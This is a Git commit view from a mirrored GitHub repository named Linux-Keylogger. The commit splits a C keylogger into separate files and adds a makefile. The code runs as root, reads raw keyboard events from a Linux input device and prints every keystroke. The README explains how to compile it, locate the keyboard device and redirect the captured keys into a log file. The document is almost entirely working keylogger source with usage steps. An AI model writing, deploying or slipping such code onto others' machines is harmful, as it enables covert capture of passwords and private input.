1
0
mirror of https://github.com/dimkouv/Linux-Keylogger.git synced 2025-05-15 16:10:12 -07:00

separate files

This commit is contained in:
Dim Kouv 2016-11-25 13:54:38 -05:00
parent c98fc1ce75
commit ee9c1da20b
8 changed files with 192 additions and 148 deletions

View File

@ -1,8 +1,16 @@
# Linux Keylogger # Linux Keylogger
# How to use # Instructions
Find your keyboard device
Your keyboard device should be in the below format - Compile keylogger
```sh
$ cd Linux-Keylogger
$ make
```
- Find your keyboard device
Your keyboard device should be
``` ```
/dev/input/eventX /dev/input/eventX
``` ```
@ -11,21 +19,16 @@ Find it using
$ cat /var/log/Xorg.0.log | grep /dev/input | grep -i keyboard $ cat /var/log/Xorg.0.log | grep /dev/input | grep -i keyboard
``` ```
- Run keylogger - Run keylogger
```sh ```sh
$ sudo bin/keylogger /dev/input/eventX $ sudo ./keylogger /dev/input/eventX
``` ```
Now whatever you type should be printed in the terminal. - Run examples
If you want to keep in log file use
```sh ```sh
$ sudo bin/keylogger /dev/input/eventX > logfile.txt $ sudo ./keylogger /dev/input3
$ sudo ./keylogger /dev/input3 > logfile.txt
``` ```
@TODO
1. Find keyboard device automatically
2. Write logs to structured html file

Binary file not shown.

View File

@ -1,17 +1,5 @@
#include <linux/input.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int get_key_press(int fd, struct input_event ev); #include "keylogger.h"
int input_has_errors(int argc, char *argv[]);
int user_is_root();
char * get_key_description(int key_code);
void generate_mappings(char ** mappings);
/* /*
* returns 0 if user is not root * returns 0 if user is not root
@ -43,7 +31,7 @@ int input_has_errors(int argc, char *argv[]) {
} }
/* /*
* -Reads input event (key stroke) * -Reads input event (key stroke)
* -Returns the key when it's released * -Returns the key when it's released
* This means that by long pressing a key it only gets logged once. * This means that by long pressing a key it only gets logged once.
@ -58,125 +46,5 @@ int get_key_press(int fd, struct input_event ev) {
// if no key pressed check again // if no key pressed check again
get_key_press(fd, ev); get_key_press(fd, ev);
}
int main(int argc, char *argv[]) {
// Convert key codes to string values
// ex: mappings[code] = "value"
char * mappings[1024];
int i;
for (i=0; i<1024; i++) mappings[i] = "invalid";
generate_mappings(mappings);
// Check for errors
if (input_has_errors(argc, argv)) {
return -1;
}
if (!user_is_root()) {
return -1;
}
// Start keyboard device as read only
int fd;
fd = open(argv[1], O_RDONLY);
// Initialize input event
struct input_event ev;
// Scan for key strokes and print them
while (1){
int key_code = get_key_press(fd, ev); // get key code
if (key_code < 1024)
printf("%s\n",mappings[key_code]); // print value of key code
}
return 0;
}
/*
* Generates a value for each key stroke code
*/
void generate_mappings(char ** codes) {
codes[1] = "esc";
codes[59] = "f1";
codes[60] = "f2";
codes[61] = "f3";
codes[62] = "f4";
codes[63] = "f5";
codes[64] = "f6";
codes[65] = "f7";
codes[66] = "f8";
codes[67] = "f9";
codes[68] = "f10";
codes[87] = "f11";
codes[88] = "f12";
// --
codes[41] = "`";
codes[2] = "1";
codes[3] = "2";
codes[4] = "3";
codes[5] = "4";
codes[6] = "5";
codes[7] = "6";
codes[8] = "7";
codes[9] = "8";
codes[10] = "9";
codes[11] = "0";
codes[12] = "-";
codes[13] = "=";
codes[14] = "back";
// --
codes[15] = "tab";
codes[16] = "q";
codes[17] = "w";
codes[18] = "e";
codes[19] = "r";
codes[20] = "t";
codes[21] = "y";
codes[22] = "u";
codes[23] = "i";
codes[24] = "o";
codes[25] = "p";
codes[26] = "[";
codes[27] = "]";
codes[43] = "\\";
// --
codes[58] = "caps";
codes[30] = "a";
codes[31] = "s";
codes[32] = "d";
codes[33] = "f";
codes[34] = "g";
codes[35] = "h";
codes[36] = "j";
codes[37] = "k";
codes[38] = "l";
codes[39] = ";";
codes[40] = "\"";
codes[28] = "\n";
// --
codes[42] = "shift";
codes[44] = "z";
codes[45] = "x";
codes[46] = "c";
codes[47] = "v";
codes[48] = "b";
codes[49] = "n";
codes[50] = "m";
codes[51] = ",";
codes[52] = ".";
codes[53] = "/";
codes[54] = "shift";
// --
codes[29] = "ctrl";
codes[125] = "super";
codes[56] = "alt";
codes[57] = " ";
codes[100] = "alt";
codes[126] = "super";
codes[127] = "right click";
codes[97] = "ctrl";
} }

19
keylogger.h Normal file
View File

@ -0,0 +1,19 @@
#ifndef KEYLOGGER_H_INCLUDED
#define KEYLOGGER_H_INCLUDED
#include <linux/input.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int get_key_press(int fd, struct input_event ev);
int input_has_errors(int argc, char *argv[]);
int user_is_root();
char * get_key_description(int key_code);
void generate_mappings(char ** mappings);
#endif

45
main.c Normal file
View File

@ -0,0 +1,45 @@
#include <linux/input.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include "keylogger.h"
#include "mappings.h"
int main(int argc, char *argv[]) {
// Convert key codes to string values
// ex: mappings[code] = "value"
char * mappings[1024];
int i;
for (i=0; i<1024; i++) mappings[i] = "invalid";
generate_mappings(mappings);
// Check for errors
if (input_has_errors(argc, argv)) {
return -1;
}
if (!user_is_root()) {
return -1;
}
// Start keyboard device as read only
int fd;
fd = open(argv[1], O_RDONLY);
// Initialize input event
struct input_event ev;
// Scan for key strokes and print them
while (1){
int key_code = get_key_press(fd, ev); // get key code
if (key_code < 1024)
printf("%s\n",mappings[key_code]); // print value of key code
}
return 0;
}

17
makefile Normal file
View File

@ -0,0 +1,17 @@
CC = gcc
keylogger: main.o keylogger.o mappings.o
$(CC) -o keylogger main.o keylogger.o mappings.o
main.o: main.c keylogger.h mappings.h
$(CC) -c main.c -o main.o
keylogger.o: keylogger.c keylogger.h
$(CC) -c keylogger.c -o keylogger.o
mappings.o: mappings.c mappings.h
$(CC) -c mappings.c -o mappings.o
clean:
$(RM) *.o keylogger

86
mappings.c Normal file
View File

@ -0,0 +1,86 @@
#include "mappings.h"
/*
* Generates a value for each key stroke code
*/
void generate_mappings(char ** codes) {
codes[1] = "esc";
codes[59] = "f1";
codes[60] = "f2";
codes[61] = "f3";
codes[62] = "f4";
codes[63] = "f5";
codes[64] = "f6";
codes[65] = "f7";
codes[66] = "f8";
codes[67] = "f9";
codes[68] = "f10";
codes[87] = "f11";
codes[88] = "f12";
// --m
codes[41] = "`";
codes[2] = "1";
codes[3] = "2";
codes[4] = "3";
codes[5] = "4";
codes[6] = "5";
codes[7] = "6";
codes[8] = "7";
codes[9] = "8";
codes[10] = "9";
codes[11] = "0";
codes[12] = "-";
codes[13] = "=";
codes[14] = "back";
// --
codes[15] = "tab";
codes[16] = "q";
codes[17] = "w";
codes[18] = "e";
codes[19] = "r";
codes[20] = "t";
codes[21] = "y";
codes[22] = "u";
codes[23] = "i";
codes[24] = "o";
codes[25] = "p";
codes[26] = "[";
codes[27] = "]";
codes[43] = "\\";
// --
codes[58] = "caps";
codes[30] = "a";
codes[31] = "s";
codes[32] = "d";
codes[33] = "f";
codes[34] = "g";
codes[35] = "h";
codes[36] = "j";
codes[37] = "k";
codes[38] = "l";
codes[39] = ";";
codes[40] = "\"";
codes[28] = "\n";
// --
codes[42] = "shift";
codes[44] = "z";
codes[45] = "x";
codes[46] = "c";
codes[47] = "v";
codes[48] = "b";
codes[49] = "n";
codes[50] = "m";
codes[51] = ",";
codes[52] = ".";
codes[53] = "/";
codes[54] = "shift";
// --
codes[29] = "ctrl";
codes[125] = "super";
codes[56] = "alt";
codes[57] = " ";
codes[100] = "alt";
codes[126] = "super";
codes[127] = "right click";
codes[97] = "ctrl";
}

6
mappings.h Normal file
View File

@ -0,0 +1,6 @@
#ifndef MAPPINGS_H_INCLUDED
#define MAPPINGS_H_INCLUDED
void generate_mappings(char ** codes);
#endif